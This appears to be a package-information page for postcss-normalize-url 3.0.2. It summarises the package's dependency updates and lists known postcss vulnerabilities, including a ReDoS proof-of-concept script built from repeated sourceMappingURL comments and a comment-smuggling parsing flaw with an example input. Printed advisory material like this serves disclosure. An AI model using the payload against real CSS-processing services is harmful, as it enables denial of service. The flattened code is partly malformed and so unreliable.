PostCSS Normalize URL offers a straightforward way to clean up and standardize URLs within your CSS using PostCSS. Version 3.0.2 refines this functionality, building upon the foundation laid by version 3.0.1. The core purpose remains the same: ensuring consistent URL formatting across your stylesheets, which is vital for avoiding browser inconsistencies and improving maintainability.
Key improvements in version 3.0.2 center around dependency updates. Specifically, the postcss dependency has been bumped from ^5.0.4 to ^5.0.8 and normalize-url from ^1.3.0 to ^1.3.1. This suggests improvements in how the plugin interacts with PostCSS itself, possibly addressing compatibility issues or performance enhancements. The normalize-url update likely incorporates fixes or feature additions related to URL parsing and normalization logic. While the other dependencies remain the same, these targeted updates suggest a focus on refining existing functionality rather than introducing radical new features.
For developers, these updates translate to a more robust and reliable tool. Staying current with dependency updates in a PostCSS plugin is crucial, as it ensures compatibility with the latest PostCSS features and ecosystem improvements. By upgrading to version 3.0.2, developers are likely benefiting from improved performance, bug fixes, and better adherence to URL normalization standards, ultimately leading to cleaner and more consistent CSS outputs. The updates in postcss-normalize-url contribute to the overall stability and efficiency of CSS processing workflows, making it a worthwhile upgrade for those already using the plugin and a strong contender for new projects.
All the vulnerabilities related to the version 3.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.